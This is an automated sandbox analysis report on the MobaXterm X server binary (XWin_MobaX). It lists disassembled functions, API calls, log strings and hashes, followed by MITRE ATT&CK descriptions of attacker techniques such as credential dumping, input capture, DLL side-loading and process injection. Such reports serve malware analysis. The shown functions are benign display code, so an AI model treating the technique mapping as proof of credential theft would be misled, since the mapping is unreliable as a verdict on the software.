Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Xstrdup$strchr$_strdupmemsetstrcmpstrtok
String ID: $($none
API String ID: 1730567313-650932732
Opcode ID: 7d2607ffbc40b5bcaa9af58838186d8b56588464afa38b847ead172c7db14a25
Instruction ID: 96501aee899f04c904951c1170971b92b5a538fe600aa5f245247ba25f45f8ac
Opcode Fuzzy Hash: 7d2607ffbc40b5bcaa9af58838186d8b56588464afa38b847ead172c7db14a25
Instruction Fuzzy Hash: F7D1D2B4A042498FDB00DF68C584AAEBBF1FF49310F51889AED94DB321D778E941CB65

Function 0040201A Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 125windowCOMMON

Download Yara Rule

APIs

winInitializeGlobals.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,005AB819), ref: 00402020

Part of subcall function 00401A14: winGetBaseDir.XWIN_MOBAX ref: 00401A30
Part of subcall function 00401A14: strlen.MSVCRT ref: 00401A3E
Part of subcall function 00401A14: strncpy.MSVCRT ref: 00401A6E
Part of subcall function 00401A14: strncpy.MSVCRT ref: 00401A8D
Part of subcall function 00401A14: strlen.MSVCRT ref: 00401B02
Part of subcall function 00401A14: strlen.MSVCRT ref: 00401B26
Part of subcall function 00401A14: strchr.MSVCRT ref: 00401B43
Part of subcall function 00401A14: _strdup.MSVCRT ref: 00401D38
Part of subcall function 00401A14: free.MSVCRT ref: 00401D48

LogInit.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 00402060
LogInit.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 0040207C

Part of subcall function 005B198A: _strdup.MSVCRT ref: 005B1A09
Part of subcall function 005B198A: fopen.MSVCRT ref: 005B1A63
Part of subcall function 005B198A: FatalError.XWIN_MOBAX ref: 005B1A84
Part of subcall function 005B198A: setvbuf.MSVCRT ref: 005B1AA9
Part of subcall function 005B198A: _fileno.MSVCRT ref: 005B1AB6
Part of subcall function 005B198A: fwrite.MSVCRT ref: 005B1AF7
Part of subcall function 005B198A: fflush.MSVCRT ref: 005B1B04
Part of subcall function 005B198A: free.MSVCRT ref: 005B1B23

LogSetParameter.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 00402095
LogSetParameter.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020AA
LogSetParameter.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020BF
winLogVersionInfo.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020CE
winDebug.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020E8
winInitializeScreens.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020F4
LogMessage.XWIN_MOBAX ref: 0040218D

Part of subcall function 005B29CD: LogVMessageVerb.XWIN_MOBAX(?,?,?,?,?,?,?,?,004DFCFE), ref: 005B29F5

Strings

.old, xrefs: 00402055, 00402071
Windows reports only %d mouse buttons, defaulting to -emulate3buttons, xrefs: 0040217E
OsVendorInit - Creating default screen 0, xrefs: 004020E1
Ag, xrefs: 0040206C

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Parameterstrlen$InitInitializeMessage_strdupfreestrncpy$BaseDebugErrorFatalGlobalsInfoScreensVerbVersion_filenofflushfopenfwritesetvbufstrchr
String ID: .old$OsVendorInit - Creating default screen 0$Windows reports only %d mouse buttons, defaulting to -emulate3buttons$Ag
API String ID: 3254954268-2721809124
Opcode ID: 9cb690fee0bdb645b6dbe8112a606de16f84ca099326eabdc1aef0f07bde9ab2
Instruction ID: 47c47b03a0322c2ea3fc1740c9b0afdf8a7d682158f8c2346589c4badf1a35ea
Opcode Fuzzy Hash: 9cb690fee0bdb645b6dbe8112a606de16f84ca099326eabdc1aef0f07bde9ab2
Instruction Fuzzy Hash: 54515D74A00201CBD704DF69D989B5EBBF5BB90304F54812AE588EB3E1DBB8D841CF5A

Function 0054824F Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

xreallocarray.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,00548791), ref: 00548286
xfont2_empty_font_pattern_cache.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,00548791), ref: 0054850B

Strings

U, xrefs: 00548495
[dix] Removing empty element from the valid list of fontpaths, xrefs: 00548312

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: xfont2_empty_font_pattern_cachexreallocarray
String ID: U$[dix] Removing empty element from the valid list of fontpaths
API String ID: 3053043568-1620585157
Opcode ID: 2876f2b48ffe0694f77e6763e29f71b57d5421cf6da6b349f02d584aff8441d9
Instruction ID: 1178c01e2aa53f01874f24c1028ccd6ffce54f271887c906ef69b32c388fcefa
Opcode Fuzzy Hash: 2876f2b48ffe0694f77e6763e29f71b57d5421cf6da6b349f02d584aff8441d9
Instruction Fuzzy Hash: D8B1A4B4E0460ADFCB00DFA9C484AEEBBF1BF48308F158959E854AB351D778AA45CF51

Function 004160BF Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

ErrorF.XWIN_MOBAX ref: 00416134

Part of subcall function 005B30DC: VErrorF.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,005678BD), ref: 005B30F5

miSetVisualTypesAndMasks.XWIN_MOBAX ref: 004161A3
ErrorF.XWIN_MOBAX ref: 004161B3
miSetVisualTypesAndMasks.XWIN_MOBAX ref: 00416269
ErrorF.XWIN_MOBAX ref: 00416279
ErrorF.XWIN_MOBAX ref: 0041628E

Strings

winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed for PseudoColor, xrefs: 00416211
winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed, xrefs: 004161AC, 00416272
winInitVisualsShadowGDI - Masks %08x %08x %08x BPRGB %d d %d bpp %d, xrefs: 0041612D
winInitVisualsShadowGDI - Unknown screen depth, xrefs: 00416287

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Error$MasksTypesVisual
String ID: winInitVisualsShadowGDI - Masks %08x %08x %08x BPRGB %d d %d bpp %d$winInitVisualsShadowGDI - Unknown screen depth$winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed$winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed for PseudoColor
API String ID: 2202719466-3842817597
Opcode ID: 9850c3dd6752bddcc16b1e72ef649987a9cf32b8603c88331bbc0933f58d0278
Instruction ID: 8943d5593741d699493becb4dbecab1af69e1ce44e5ac55176289c3f97d76548
Opcode Fuzzy Hash: 9850c3dd6752bddcc16b1e72ef649987a9cf32b8603c88331bbc0933f58d0278
Instruction Fuzzy Hash: B851C8B4A043158FDB50EF58C584A9EBBF0FF88310F11895AE89897352D378E8858F66

Function 00410050 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041007D
KiUserCallbackDispatcher.NTDLL ref: 0041008E
winErrorFVerb.XWIN_MOBAX ref: 004100C7

Part of subcall function 00409550: LogVMessageVerb.XWIN_MOBAX ref: 00409578

LoadImageA.USER32 ref: 004102EC

Strings

winInitializeScreenDefaults - primary monitor w %d h %d, xrefs: 004100B8
(, xrefs: 0041020C
e, xrefs: 00410327
@, xrefs: 00410309

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Verb$CallbackDispatcherErrorImageLoadMessageUsermemset
String ID: ($@$e$winInitializeScreenDefaults - primary monitor w %d h %d
API String ID: 217432489-1037348004
Opcode ID: 486bd231b7295d3627d93e967f43f4a7295e14ad4a621e02e9dde9bec143a71d
Instruction ID: 1e2436a946457def623f67c834c2182fe4c4a653b589bcbe973dba6617e3eb0d
Opcode Fuzzy Hash: 486bd231b7295d3627d93e967f43f4a7295e14ad4a621e02e9dde9bec143a71d
Instruction Fuzzy Hash: 047172F4A05204DFD700EF68E95575ABBF0BB44308F50C629E495973A0E7BA9948CF86

Function 00420288 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

xcb_aux_get_screen.LIBXCB-UTIL-1 ref: 004202A2
xcb_change_window_attributes_checked.LIBXCB-1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041EEB9), ref: 004202CF
xcb_request_check.LIBXCB-1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041EEB9), ref: 004202E4
free.MSVCRT ref: 004202FF
xcb_change_window_attributes.LIBXCB-1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041EEB9), ref: 00420327

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: freexcb_aux_get_screenxcb_change_window_attributesxcb_change_window_attributes_checkedxcb_request_check
String ID:
API String ID: 2435281968-0
Opcode ID: 7c1e7a38470e71d6552f55cf1ca3357974f24b5d301a181c338c1b9ff82e7ea3
Instruction ID: 6688f4f43c73a498129b2a17377f1bceccc78b1251ae0e0bd0d0af0af4138fd7
Opcode Fuzzy Hash: 7c1e7a38470e71d6552f55cf1ca3357974f24b5d301a181c338c1b9ff82e7ea3
Instruction Fuzzy Hash: C6112FB49053099FCB44EFA8C18569EBBF1BF48354F00881DE898AB351D7799A44CF96

Function 0055E2F6 Relevance: 6.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

GetScratchGC.XWIN_MOBAX ref: 0055E3B5

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Scratch
String ID:
API String ID: 1610114027-0
Opcode ID: 1b04ffc917ec501effb6a6ab2101ca152cd4ef78b28e29ba1c1dfabddba06a17
Instruction ID: 3688890fe103593e47172ee9cb6b37193bb909b09b77e6814f0ca1147606c911
Opcode Fuzzy Hash: 1b04ffc917ec501effb6a6ab2101ca152cd4ef78b28e29ba1c1dfabddba06a17
Instruction Fuzzy Hash: 534182B49043199FCB04DF98C094AAEFBF1FF88304F10885AE898A7351D3799A84DF52

Function 006563EA Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0065641C
xcb_send_request.LIBXCB-1 ref: 00656460

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: memsetxcb_send_request
String ID:
API String ID: 2316056990-0
Opcode ID: 41b8d331d393d5e90e21ccbe17f6498b893b836890438e4a7865334831111d56
Instruction ID: 1120a0dcada633a0f0e96b1edb7ac17ffbd7bf63477e0454718f7cdd00038134
Opcode Fuzzy Hash: 41b8d331d393d5e90e21ccbe17f6498b893b836890438e4a7865334831111d56
Instruction Fuzzy Hash: F0019EB4D09249AFDB00DFA9D4857DEBBF4AF05308F10841AE8A4A7341D77896448F96

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
